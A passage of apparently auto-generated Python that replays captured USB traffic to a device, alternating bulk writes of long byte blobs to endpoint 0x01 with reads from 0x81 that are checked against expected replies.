b\"\\xB7\\xB7\\x40\\x85\\xD1\\x12\\x26\\x14\\xBD\\x57\\x24\\xCB\\x84\\xF4\\x86\\x35\"\n b\"\\xE6\\xB8\\xC8\\xEB\\xAF\\xAF\\xC3\\x6B\\xA6\\x5B\\xFD\\x81\\x53\\xFF\\x5E\\x97\"\n b\"\\x76\\xC8\\xEA\\x63\\xB2\\xBB\\xA4\\xE1\\x90\\x1D\\x95\\x94\\xA5\\x3C\\x7E\\x41\"\n b\"\\xA6\\x64\\x79\\xC0\\x8D\\x17\\x24\\x03\\x0B\\x1B\\x16\\x82\\x19\\x41\\x1B\\xDE\"\n b\"\\xCE\\x6A\\xF5\\x62\\xCB\\xD3\\xF0\\xDA\\x9C\\x7B\\xE0\\xCF\\xDC\\x3D\\xD2\\xF4\"\n b\"\\x3F\\xD0\\x5C\\x73\\x40\\xE1\\xF6\\x5C\\x11\\x39\\x35\\xC4\\xA2\\xFF\\x55\\xC1\"\n b\"\\xAB\\x43\\x1C\\xE7\\x31\\x6B\\x93\\x89\\x7D\\xE5\\xEB\\x3E\\x4E\\x72\\xA9\\x5D\"\n b\"\\x3D\\x56\\xF3\\xDE\\x8E\\x71\\x58\\x10\\xDB\\x41\\x63\\x0E\\x25\\xC0\\x5B\\xAA\"\n b\"\\xD0\\x96\\x9C\\xB3\\xD1\\xEB\\x8B\\x8F\\xE7\\x15\\x26\\xBD\\x08\\xC8\\x37\\x3C\"\n b\"\\x0F\\xDE\\xB5\\xED\\x1C\\xD1\\xF6\\x4A\\x5F\\x47\\x75\\x23\\xF7\\xF1\\xF3\\x1B\"\n b\"\\x49\\xA7\\x0D\\xEA\\x1F\\x4C\\x1D\\x09\\x1B\\x61\\xF8\\x44\\x5D\\x8C\\x33\\x14\"\n b\"\\xA4\\xB5\\xD4\\xB3\\x86\\x3C\\x95\\x5E\\xB5\\xDE\\xDA\\x4A\\xA6\\x6A\\x0D\\xF2\"\n b\"\\x7F\\xDF\\x01\\xA7\\xAE\\xF6\\x73\\x91\\x42\\x83\\xCE\\x8A\")\n # Generated from packet 175/176\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 175/176\")\n # Generated from packet 177/178\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x77\\xA6\\x31\\x8D\\xDB\\x12\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE8\\xE8\\xA0\\x1F\\xF6\\x50\\xE9\\x3C\"\n b\"\\x40\\xF2\\x8B\\x64\\x2A\\x1D\\x5A\\xCC\\x58\\xA4\\xDE\\x1D\\xC7\\xA5\\xBF\\x8D\"\n b\"\\xB9\\xEE\\x05\\xB2\\x64\\x8F\\x80\\x89\\x2D\\x9E\\x8F\\x2A\\xC6\\x82\\x9C\\x84\"\n b\"\\x83\\xCA\\xBC\\x79\\x18\\xDA\\x8D\\x46\\xA1\\x53\\x6D\\x4B\\x6B\\x2D\\xEA\\xF2\"\n b\"\\x87\\x3B\\xD3\\xBF\\x53\\xA6\\xD7\\x01\\x52\\x31\\x39\\x5B\\xFF\\xD5\\x4B\\x36\"\n b\"\\xCC\\x45\\xF2\\x44\\xF2\\x96\\x03\\xCD\\x9F\\x03\\xE6\\x09\\xCA\\xDA\\x33\\x1F\"\n b\"\\xC7\\x5D\\x60\\xA6\\x61\\xA0\\x0A\\xFA\\xF9\\xEA\\xE0\\x16\\xB5\\xFC\\xF8\\xA8\"\n b\"\\x11\\xC6\\x3E\\xD4\\xF9\\x0C\\xCA\\x4A\\xF5\\xA4\\x7D\\x65\\x3D\\x6A\\x46\\x40\"\n b\"\\x65\\xE3\\x88\\xCF\\x30\\x10\\x3F\\xBF\\xF2\\x45\\x5C\\xFE\\x09\\x51\\x03\\xA0\"\n b\"\\xCF\\xD7\\x36\\x83\\x54\\x9C\\xF6\\x6D\\x48\\x19\\x3A\\x00\\x5F\\x8F\\x16\\xF6\"\n b\"\\x71\\xA6\\x3E\\x04\\xC0\\x8F\\x94\\xF5\\x33\\xD4\\x32\\x26\\x4B\\xFA\\xD5\\xB1\"\n b\"\\x87\\xA4\\x0B\\x4C\\xCC\\xE1\\xDC\\x1B\\x64\\x46\\xBE\\xC5\\x85\\xE0\\x25\\x48\"\n b\"\\x01\\xF5\\x68\\x51\\x9A\\x33\\xA2\\x61\\xEB\\xD5\\xA6\\x53\\xE0\\x9A\\x80\\xE4\"\n b\"\\x81\\x89\\xF7\\x92\\xEE\\xE1\\xE3\\xF2\\xA5\\x0C\\x30\\xF4\\x6A\\x91\\xB6\\x36\"\n b\"\\x18\\xFB\\x11\\x8A\\x14\\x1D\\xC2\\xB5\\xF3\\xB3\\x43\\x0A\\xF4\\xB3\\x8E\\xF4\"\n b\"\\xA3\\x3E\\xE8\\x83\\xF5\\x9A\\x1C\\xC0\\x37\\xE7\\xC5\\xA2\\x30\\x07\\xA3\\x47\"\n b\"\\xE9\\x3C\\x76\\xF2\\xF7\\x4E\\x54\\x45\\x94\\xB3\\xA8\\xAA\")\n # Generated from packet 179/180\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 179/180\")\n # Generated from packet 181/182\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x7B\\x5E\\xF7\\xDE\\x3C\\x15\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA0\\x89\\x82\\x29\\xF9\\x8E\\xDA\\xF3\"\n b\"\\x79\\x14\\xB0\\x29\\x27\\x30\\xA6\\xC6\\xE5\\x86\\x30\\x8F\\x39\\x55\\x4D\\xAF\"\n b\"\\x92\\x65\\x6C\\x41\\x46\\x34\\xB2\\x0D\\xBF\\x51\\x76\\x8C\\x02\\x1E\\x7B\\xBA\"\n b\"\\xC8\\x4C\\x83\\x26\\xE5\\xEC\\xEB\\x87\\x66\\x95\\x29\\xDA\\xE3\\xAC\\xC1\\x17\"\n b\"\\x98\\xAC\\x05\\x65\\xAA\\x9E\\xA0\\x08\\xC0\\x3C\\x16\\xDB\\x4D\\x04\\x35\\x6A\"\n b\"\\x38\\xB5\\x30\\x54\\x13\\xB9\\xA2\\xD0\\x66\\x40\\x6F\\x0F\\x77\\x12\\xFA\\x7F\"\n b\"\\x34\\xE4\\xD5\\xD0\\x52\\x31\\xAE\\x55\\x88\\x2D\\x0C\\xA6\\x4F\\x78\\xFA\\x7F\"\n b\"\\x95\\x2E\\x96\\xC9\\x24\\x7E\\x34\\x56\\xA3\\xDF\\x21\\x43\\x9A\\xEC\\x7B\\xFF\"\n b\"\\x37\\xB1\\xD9\\x1D\\xB1\\xE6\\x26\\x42\\x0A\\xEE\\xD8\\xD6\\x9F\\x8B\\x45\\xEA\"\n b\"\\xCA\\x36\\x47\\xBD\\x4B\\x89\\x6B\\xA4\\x85\\xBB\\xF9\\x8F\\xFB\\x94\\x76\\xEC\"\n b\"\\xB8\\x8D\\xEA\\x6B\\x74\\x47\\x20\\x1D\\x97\\x4C\\x79\\x90\\xEE\\x2A\\x59\\xCE\"\n b\"\\x40\\x85\\xA2\\xA6\\xFE\\x17\\x0E\\xEE\\x1D\\x03\\x4D\\x85\\x77\\x72\\xAD\\x9A\"\n b\"\\xC8\\x7D\\xCC\\x43\\x92\\x04\\x2D\\x5B\\x70\\x8C\\xD9\\x8E\\x59\\xB4\\xB1\\x66\"\n b\"\\x69\\xB5\\x45\\x32\\xD9\\x82\\x83\\x01\\x09\\x03\\x59\\x78\\xA9\\xC7\\x57\\xBF\"\n b\"\\x21\\x42\\xCE\\x9D\\x6E\\x34\\x0D\\xD4\\xC4\\x13\\x87\\x84\\xAC\\x51\\x37\\xE3\"\n b\"\\xCF\\x5A\\xCE\\xA7\\x28\\x09\\x98\\x70\\xA9\\xEA\\x70\\x2F\\x68\\xBE\\x2E\\x6F\"\n b\"\\x91\\x68\\x1A\\xE7\\xA7\\x59\\xD0\\x87\\x47\\x70\\xA6\\x28\")\n # Generated from packet 183/184\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 183/184\")\n # Generated from packet 185/186\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x34\\xE7\\xC7\\x58\\x87\\x7E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\xC4\\xFE\\x34\\xCF\\x0D\\x07\\x46\"\n b\"\\xC5\\xDD\\x88\\x25\\xF1\\x37\\x84\\xBF\\xA5\\x5D\\x0F\\xD8\\x35\\xE2\\xA2\\x29\"\n b\"\\x4E\\xF1\\x6A\\x97\\xE9\\x91\\xC0\\xE4\\xC4\\x23\\x23\\x70\\xE9\\x98\\xBB\\x77\"\n b\"\\x83\\x76\\xDD\\xC3\\x40\\x56\\x98\\x66\\x0A\\x3C\\xC7\\xBF\\x8F\\xD4\\xF7\\x80\"\n b\"\\xA4\\xAD\\x93\\x9F\\x5C\\xA4\\xEA\\x25\\xEF\\x60\\x7F\\xB6\\xA9\\x2B\\x37\\x3A\"\n b\"\\x78\\x74\\x33\\xE3\\x2A\\xE0\\xDE\\xA5\\x9F\\x8B\\x53\\xA3\\xF7\\x8A\\x97\\xDC\"\n b\"\\x71\\x75\\xD2\\xB3\\x82\\x5C\\x10\\x83\\xF7\\xAA\\xD5\\x55\\x0C\\xB8\\x3F\\xF6\"\n b\"\\xCB\\xA0\\xE3\\xF5\\x6E\\xD4\\xF2\\xD8\\x54\\x67\\xBB\\x52\\x8B\\xDE\\x41\\x8E\"\n b\"\\xD3\\xA3\\xB5\\x66\\xD8\\xD7\\x8A\\x59\\xA8\\x9C\\x69\\xF6\\x69\\x0E\\x94\\x5E\"\n b\"\\x7D\\x77\\x0E\\xA5\\x61\\x89\\xEE\\x99\\x64\\xC0\\x6B\\x52\\x0E\\x6A\\x72\\x73\"\n b\"\\x99\\xD8\\x5A\\x1D\\x53\\xA4\\xCA\\x2A\\xCE\\x50\\x82\\x92\\x89\\x2F\\x21\\xE2\"\n b\"\\xC1\\xB8\\x9E\\xDE\\xF8\\x47\\x12\\xEA\\x87\\x44\\xB5\\xB9\\x3E\\x4D\\xDF\\x95\"\n b\"\\x0E\\xB1\\xDD\\x58\\x7D\\x10\\x62\\x8F\\x11\\x27\\x0E\\xF6\\xE9\\x54\\xFD\\xF6\"\n b\"\\xB3\\x80\\x24\\x8E\\xDE\\x83\\xD0\\xD9\\x56\\x3B\\x13\\xC7\\x7F\\xD7\\xBA\\x72\"\n b\"\\x10\\x7B\\xA3\\x90\\x4B\\x42\\x5B\\x08\\xEC\\x59\\x9C\\xEE\\xB2\\xEA\\xC6\\xF3\"\n b\"\\x9B\\xAD\\x60\\xC6\\xD9\\x71\\x60\\x25\\xDB\\x0F\\xEB\\x64\\xBD\\x51\\x62\\xAE\"\n b\"\\x04\\xDA\\xD8\\xA6\\x4E\\x42\\x83\\x0C\\xAF\\x9D\\xB5\\x53\")\n # Generated from packet 187/188\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 187/188\")\n # Generated from packet 189/190\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE3\\x86\\x66\\x02\\x0C\\x39\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xEC\\x24\\x7D\\xB3\\xB1\\x72\\x48\\x25\"\n b\"\\xCD\\xA3\\x5B\\x61\\x86\\x08\\xF0\\x88\\xEF\\xDB\\xC5\\xCC\\x94\\x78\\x8B\\xCE\"\n b\"\\xF4\\x9D\\x38\\x39\\x30\\x3F\\xCD\\x87\\x33\\xAB\\xAD\\xDF\\x75\\x3F\\xF8\\x25\"\n b\"\\xC8\\xFC\\xA2\\x5D\\xCF\\xBD\\xA5\\x90\\x62\\x3F\\xF8\\x18\\x41\\x33\\x35\\x22\"\n b\"\\x27\\xC5\\x38\\x09\\xB8\\xB0\\x8A\\x5D\\xDD\\x72\\x3B\\xFE\\x9B\\xD1\\x0B\\xE6\"\n b\"\\xD0\\x0A\\x03\\x4A\\x89\\x5B\\x28\\xDE\\x48\\x9E\\x31\\xC4\\xAF\\x80\\x52\\x16\"\n b\"\\x75\\x9C\\x9A\\xF9\\x46\\x6C\\xB9\\x05\\x10\\x38\\x8A\\xDE\\x78\\xC1\\xB8\\xDA\"\n b\"\\x6A\\x1F\\x1E\\x54\\xEB\\x10\\x86\\xDA\\xD7\\xB8\\xA5\\xF9\\xEE\\xB7\\x1F\\xA5\"\n b\"\\x7A\\x70\\x47\\xE9\\xC1\\xAB\\x5B\\x3C\\x35\\x15\\xB9\\x64\\x06\\x64\\xD6\\x4A\"\n b\"\\x78\\x83\\x04\\xC6\\x0F\\x21\\x3A\\x7C\\x89\\xB9\\x65\\xE6\\xCC\\x93\\xD7\\x78\"\n b\"\\x16\\x97\\xF9\\x83\\x5F\\x22\\xDF\\xC9\\xDC\\xA5\\x13\\x10\\xB6\\x10\\x16\\xAF\"\n b\"\\xB4\\xA0\\x00\\xB6\\x4A\\x07\\x49\\x99\\x50\\x64\\x96\\x6E\\xF0\\x68\\xF2\\x4A\"\n b\"\\x9D\\xBB\\x30\\x7F\\xBF\\x0E\\x6B\\x27\\xA7\\xBD\\x8D\\x17\\x76\\xB1\\x81\\xE3\"\n b\"\\x3C\\x4C\\x7D\\xF9\\xC2\\x2B\\x3D\\x8E\\x39\\x72\\x3E\\x39\\x8C\\x84\\x90\\xCC\"\n b\"\\x32\\xA0\\xCF\\xFA\\x2A\\x36\\x10\\x42\\xE0\\xA0\\x61\\x98\\xF9\\xB1\\x09\\xC5\"\n b\"\\xEF\\xAD\\xA5\\xC3\\x41\\x58\\xCB\\xBE\\x69\\xF3\\x32\\xCD\\x57\\xAF\\x89\\xEF\"\n b\"\\x4A\\xFE\\x99\\x7C\\x1A\\xF3\\xB3\\xF7\\x67\\x4B\\xEA\\x27\")\n # Generated from packet 191/192\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 191/192\")\n # Generated from packet 193/194\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x80\\x6F\\x36\\x9F\\x3E\\x0F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2B\\x24\\xAD\\xE2\\xF0\\x47\\x7F\\x24\"\n b\"\\xD8\\x6F\\x45\\xAC\\x8C\\x88\\xAA\\x76\\xB2\\x5D\\x26\\x9C\\xAE\\x4D\\xC3\\xB4\"\n b\"\\x9C\\x26\\x70\\x7B\\xCB\\xDF\\xAE\\x19\\x57\\x8E\\x88\\x55\\x84\\x38\\xD2\\xDD\"\n b\"\\x32\\xF3\\xC2\\x9A\\x9A\\x5D\\xF9\\xA7\\x3C\\xA3\\x4F\\x63\\xAB\\x74\\xEB\\x53\"\n b\"\\xDA\\x1D\\xB4\\x56\\xBA\\xAA\\xC9\\xFE\\xEB\\xC2\\x54\\x50\\x12\\x3F\\xDC\\x1E\"\n b\"\\xBA\\xF6\\xE2\\x52\\x38\\x44\\x2B\\xD8\\x1B\\x7F\\x22\\xD0\\xF6\\xA4\\x4E\\xA5\"\n b\"\\xF9\\x7A\\x9E\\x96\\xAA\\xA1\\x10\\xA3\\xC2\\x3E\\x0D\\xF1\\x85\\x2F\\x0B\\xBA\"\n b\"\\x2E\\xF8\\xA5\\x87\\xB6\\x92\\x03\\x0E\\x44\\xCB\\x37\\x9C\\xA5\\x96\\x32\\x2D\"\n b\"\\x1A\\xC3\\x81\\x4C\\x2A\\xEA\\xFF\\xF2\\xAC\\xBD\\x95\\x0C\\xF1\\x41\\xEA\\xF5\"\n b\"\\xA1\\x3F\\xB8\\xE6\\xA8\\xFC\\x27\\xD0\\xEB\\x1B\\xEB\\x16\\xA0\\x75\\x40\\x80\"\n b\"\\x95\\x9F\\x9E\\xA4\\x99\\xC4\\xBF\\x0D\\x18\\x28\\xFE\\x16\\x70\\x8F\\x61\\x14\"\n b\"\\xD8\\x88\\x2F\\x2F\\xB4\\x2D\\xC2\\xC7\\xE3\\x72\\xB1\\x6C\\x4F\\x64\\x57\\x05\"\n b\"\\x3B\\xB1\\xB7\\x3B\\xE0\\xDF\\x2A\\xC2\\x70\\xAC\\x5F\\x1A\\x58\\x86\\x94\\xA8\"\n b\"\\x7E\\x2A\\xEC\\x59\\xA8\\x60\\x46\\x3A\\x93\\xDF\\x19\\xC6\\xB5\\x44\\x3A\\x0A\"\n b\"\\xAB\\x25\\x03\\x9C\\x5F\\x07\\x41\\x69\\x23\\xCB\\x98\\x1E\\x53\\x56\\x15\\x16\"\n b\"\\xB0\\xFA\\x7E\\x57\\xC2\\xAF\\x4A\\xE7\\xF9\\xF0\\x3C\\x3F\\xBE\\x1F\\x6E\\x57\"\n b\"\\x5B\\xA6\\xA9\\x2F\\x50\\xD1\\xB6\\x94\\xB2\\x98\\x00\\xCF\")\n # Generated from packet 195/196\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 195/196\")\n # Generated from packet 197/198\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x10\\x0A\\xB7\\xE2\\x99\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x6D\\x81\\xD6\\xD5\\xA3\\x7F\\x2A\\x58\"\n b\"\\x5D\\xCF\\xA3\\x6D\\xC2\\xEA\\xE8\\x5F\\x1F\\xCE\\x0D\\xDD\\xF4\\xD7\\x2C\\x36\"\n b\"\\xE0\\xA6\\x3C\\x16\\x45\\x33\\xE8\\xEE\\x7D\\x7A\\x13\\x4E\\xCC\\x74\\xA5\\x98\"\n b\"\\x4A\\xDD\\x5A\\xCB\\x2C\\x4A\\xF5\\xBC\\xC2\\xED\\xBF\\xBA\\x94\\x5F\\x94\\x06\"\n b\"\\x61\\xEC\\x77\\x59\\x99\\x13\\x27\\x4E\\x02\\x74\\x6C\\x8D\\xBA\\xD0\\xE7\\x40\"\n b\"\\x30\\x15\\x9F\\x20\\xD2\\x9A\\xAE\\xA0\\xDE\\x8F\\x8D\\xF1\\x02\\xA9\\xDC\\xAC\"\n b\"\\x22\\xB9\\x0B\\x95\\x87\\x48\\x2B\\xE8\\x70\\x25\\x94\\xCE\\x1D\\x48\\x74\\x46\"\n b\"\\xA9\\xB1\\xFD\\x19\\x91\\x5C\\x9D\\x57\\xDC\\x5E\\xBC\\x33\\xF1\\xFC\\x2D\\xFB\"\n b\"\\xD9\\xE9\\x50\\x80\\x2B\\x35\\xB1\\x64\\xDF\\x1E\\xCD\\x6C\\x33\\xD6\\x04\\x40\"\n b\"\\xE1\\x09\\xA7\\xEC\\x58\\x1F\\x6F\\x36\\x3D\\x36\\x93\\x2B\\x17\\x0A\\x56\\x3C\"\n b\"\\x3E\\x69\\xCB\\x34\\x12\\x07\\x12\\x61\\x8E\\x97\\x8B\\xDB\\x00\\x21\\xA0\\x29\"\n b\"\\xA9\\x4F\\x5A\\x87\\x2F\\x32\\xC2\\x1F\\xE6\\x13\\x10\\xEC\\x10\\x75\\x84\\x5A\"\n b\"\\x9F\\x74\\xF7\\xAA\\x55\\x33\\x48\\xD5\\x9F\\x9C\\x76\\x40\\x44\\xB6\\xB7\\x35\"\n b\"\\x41\\xAF\\xA2\\x08\\xED\\x79\\x20\\xFE\\x68\\x1C\\x5B\\xEA\\xA6\\xB8\\xFF\\x2F\"\n b\"\\xEC\\x1D\\x7E\\x88\\x89\\xCB\\x41\\xE4\\xC7\\x98\\x0C\\xE0\\x3A\\x7A\\x00\\x99\"\n b\"\\xDB\\xAE\\x02\\x58\\x6A\\x15\\xE6\\xB3\\x49\\x3D\\x54\\x42\\x21\\x24\\x88\\x28\"\n b\"\\xAE\\xB6\\x4C\\xC3\\x0B\\xA6\\xA8\\xAC\\x24\\x0F\\x43\\xA5\")\n # Generated from packet 199/200\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 199/200\")\n # Generated from packet 201/202\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA9\\x46\\x45\\x06\\x24\\x01\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xEC\\xA1\\x86\\x86\\x52\\x24\\x02\\xF2\"\n b\"\\xEE\\x36\\xAD\\x23\\xE3\\x4E\\x28\\x82\\xDE\\x0F\\x9A\\x68\\xD0\\xCF\\xA8\\x3A\"\n b\"\\x74\\xCE\\xBA\\x21\\x71\\x91\\x60\\x65\\x23\\x36\\x9B\\x32\\x94\\xD9\\x8C\\xAB\"\n b\"\\xD6\\x76\\x1D\\xCE\\x45\\x44\\xA2\\x20\\x2D\\xF9\\xE5\\x00\\x37\\x95\\x40\\xC7\"\n b\"\\xC7\\x48\\x2E\\x06\\xDC\\xC8\\xF0\\x51\\x33\\x57\\xC8\\x06\\xAA\\xA0\\x51\\x30\"\n b\"\\xFD\\x77\\xA0\\x65\\xBA\\xF1\\x31\\xF1\\xB1\\x11\\xF4\\x31\\xCB\\x09\\x40\\x36\"\n b\"\\xE0\\x2B\\x54\\xDE\\xFA\\x3E\\x5E\\x18\\xE0\\x32\\xD1\\x7D\\xDD\\x38\\x97\\xB7\"\n b\"\\x39\\xBE\\x53\\xA2\\x01\\xFC\\xFE\\x5B\\xD0\\x23\\x50\\xF5\\x27\\x25\\x84\\xDE\"\n b\"\\xED\\x23\\xE9\\x02\\x24\\xF6\\xB2\\x5C\\xFF\\x41\\xFB\\x3F\\x39\\x05\\xAF\\x53\"\n b\"\\xDC\\x4B\\xD5\\x2C\\x0A\\x26\\x9D\\x44\\x25\\xEB\\xF7\\xD1\\xB2\\x02\\x35\\xED\"\n b\"\\x7A\\x5E\\xDD\\x90\\x20\\x5D\\xEF\\x3B\\x00\\xD4\\xB8\\x4C\\x34\\x25\\x76\\xE0\"\n b\"\\x65\\xC4\\x95\\x0C\\xA6\\xA8\\xFA\\xB5\\xF2\\xDE\\x29\\x5C\\x45\\x36\\xAA\\x66\"\n b\"\\xC3\\xE1\\xEB\\x18\\x4E\\x35\\x40\\x82\\xD2\\x1E\\xCE\\xA6\\xBB\\x19\\x4B\\x78\"\n b\"\\xB7\\xA9\\x79\\xAE\\x23\\x76\\xD4\\x37\\x83\\x20\\x1B\\xCC\\x21\\x67\\xE2\\x0A\"\n b\"\\x98\\x1E\\xEC\\xE4\\x28\\x97\\x85\\x6C\\xDB\\x70\\xB7\\xFB\\x89\\x97\\x78\\x8B\"\n b\"\\x8A\\x2E\\x5B\\x1F\\xFB\\x86\\xC9\\x9A\\xE9\\xC3\\x6C\\xD0\\x6A\\x7C\\x90\\xDB\"\n b\"\\xD9\\x40\\x12\\x2C\\x03\\x3E\\xFA\\x5A\\xE5\\xB3\\xDE\\xE3\")\n # Generated from packet 203/204\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 203/204\")\n # Generated from packet 205/206\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x98\\x58\\xD1\\x21\\x5E\\x30\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF6\\x69\\x82\\xF4\\x9D\\xD4\\x64\\x2A\"\n b\"\\x89\\xB1\\xD6\\xF6\\x3B\\xDA\\x9A\\x98\\x29\\x1A\\x93\\xF3\\x4D\\x58\\xAD\\x6B\"\n b\"\\xA1\\xD2\\x16\\x8E\\xF0\\x4F\\x31\\x9C\\xD0\\xF8\\x1D\\x0E\\x17\\x86\\x5E\\x36\"\n b\"\\x2C\\xA2\\x87\\x71\\x79\\xD1\\xA0\\x1D\\x46\\x7D\\x42\\x64\\x1A\\x74\\x05\\xD5\"\n b\"\\x4D\\x07\\x62\\x4D\\x26\\x6F\\x52\\xCF\\xE3\\xBC\\xF2\\x49\\x2F\\x24\\x07\\xE4\"\n b\"\\x52\\xC9\\xBC\\xA5\\xBF\\x7A\\x24\\x81\\xBF\\xC4\\xE8\\xB6\\x96\\xD2\\xDE\\x75\"\n b\"\\x1D\\x61\\x5C\\x4B\\xAC\\x19\\xAF\\xBF\\xDA\\xB6\\x72\\x6E\\xDF\\x0F\\x4D\\xE3\"\n b\"\\x0F\\xAF\\x06\\x85\\xD6\\x05\\x53\\x8C\\x2A\\x52\\x44\\x76\\x1F\\x03\\x70\\xBC\"\n b\"\\x34\\xFF\\xDF\\xFC\\x32\\x5A\\x4B\\x5B\\x32\\x15\\xBA\\x61\\x65\\x9A\\x79\\x86\"\n b\"\\x52\\x34\\x58\\xBB\\x74\\x75\\x29\\x00\\x22\\x1F\\x5E\\xA9\\x8A\\x5C\\x82\\x36\"\n b\"\\xC2\\xEF\\xDE\\xFC\\x6D\\xB4\\x7E\\x04\\xBF\\x1A\\xDF\\xFA\\x65\\xF5\\xB6\\x7F\"\n b\"\\xC5\\x0A\\x9C\\xA7\\x7E\\x5B\\xEF\\x6B\\x2F\\x7C\\x81\\xCD\\xED\\x71\\xCF\\x5D\"\n b\"\\x99\\x71\\x28\\xDD\\x83\\x04\\xE8\\xA2\\x9A\\xCC\\x5D\\xD1\\x46\\x40\\xD5\\x77\"\n b\"\\xDB\\x62\\xC0\\xF2\\xA2\\x36\\x86\\xA7\\x08\\xE5\\xE7\\x93\\xF7\\x57\\xBC\\x60\"\n b\"\\x63\\x8B\\x8E\\x91\\x56\\xCD\\xC0\\x22\\xBE\\xB3\\x27\\x8A\\x35\\x91\\x38\\x67\"\n b\"\\x10\\x0C\\xD2\\x21\\xA6\\xE2\\x51\\x09\\xC6\\x1E\\xB9\\x54\\x0C\\x84\\x66\\x39\"\n b\"\\x25\\xAE\\x96\\xF0\\x50\\xB0\\x71\\x6C\\x47\\x02\\x1B\\xD0\")\n # Generated from packet 207/208\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 207/208\")\n # Generated from packet 209/210\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x2B\\xB6\\x59\\x3E\\x0D\\x44\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x86\\x43\\x82\\x29\\x13\\x7A\\x0C\\xFB\"\n b\"\\xF6\\xCF\\xF6\\xC0\\xD8\\xC4\\x9F\\x98\\x7B\\xB2\\x10\\x23\\xA6\\xF9\\x6C\\xEA\"\n b\"\\x00\\x51\\x54\\xBB\\x48\\xFF\\x3F\\xFB\\xF2\\x26\\x6D\\x64\\xD3\\x27\\xBB\\x5E\"\n b\"\\xC2\\xDA\\x25\\xAE\\xF1\\xCA\\x35\\x66\\x95\\x97\\x9A\\x4F\\x58\\x63\\x29\\xA6\"\n b\"\\xB2\\x7A\\x49\\x74\\x34\\x2C\\x67\\xDB\\x1E\\x66\\xBA\\x40\\xDC\\x36\\x01\\xAC\"\n b\"\\x35\\xDD\\x9D\\xCC\\x07\\x7F\\x47\\x29\\xE7\\xDB\\xB9\\x9D\\x0E\\xFC\\x34\\x37\"\n b\"\\x50\\xE6\\xB3\\xE7\\x04\\xFB\\xC3\\x68\\x76\\xBC\\x50\\x73\\x95\\x32\\xFE\\x50\"\n b\"\\xEE\\x73\\x0D\\xAF\\x83\\xDC\\xBF\\x40\\x53\\x1C\\x55\\x05\\xB0\\xF0\\x01\\xBC\"\n b\"\\x9C\\x79\\xAC\\x52\\x1C\\x5A\\xF6\\x46\\x67\\x55\\xC6\\xD9\\x2F\\xFF\\x70\\xEE\"\n b\"\\xD0\\xB4\\x0D\\xF2\\x41\\x99\\xDD\\x9B\\x1A\\xD4\\xEF\\xC1\\xFD\\x73\\x4E\\x22\"\n b\"\\x8E\\xA5\\xE0\\xEF\\x93\\x61\\x5D\\x14\\x06\\x86\\xE3\\x8D\\x15\\xD6\\x9C\\x36\"\n b\"\\xF6\\xED\\x04\\x8E\\x45\\x8F\\xBC\\x64\\xDA\\x46\\x6B\\x67\\x32\\xD0\\x81\\xA0\"\n b\"\\x22\\xBF\\x1C\\x41\\x67\\x8C\\xF0\\x59\\x34\\x2E\\x84\\xA5\\x92\\x02\\x2A\\x86\"\n b\"\\x8D\\x8A\\xD2\\x26\\x20\\x23\\x11\\xED\\x6E\\xDF\\xBC\\xC7\\x3D\\x01\\x5B\\x5A\"\n b\"\\xD8\\xFF\\x02\\x7B\\x0D\\x0A\\x01\\xE5\\x23\\xD5\\xCA\\x5F\\x22\\xE9\\x4A\\xE5\"\n b\"\\x3E\\xC7\\xBA\\x47\\x5A\\x81\\x16\\x92\\xF2\\xFE\\xAB\\x2F\\x1B\\x42\\x00\\xA7\"\n b\"\\xA7\\x23\\x14\\x78\\xDC\\xF1\\x2E\\xE7\\x57\\x70\\x10\\x01\")\n # Generated from packet 211/212\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 211/212\")\n # Generated from 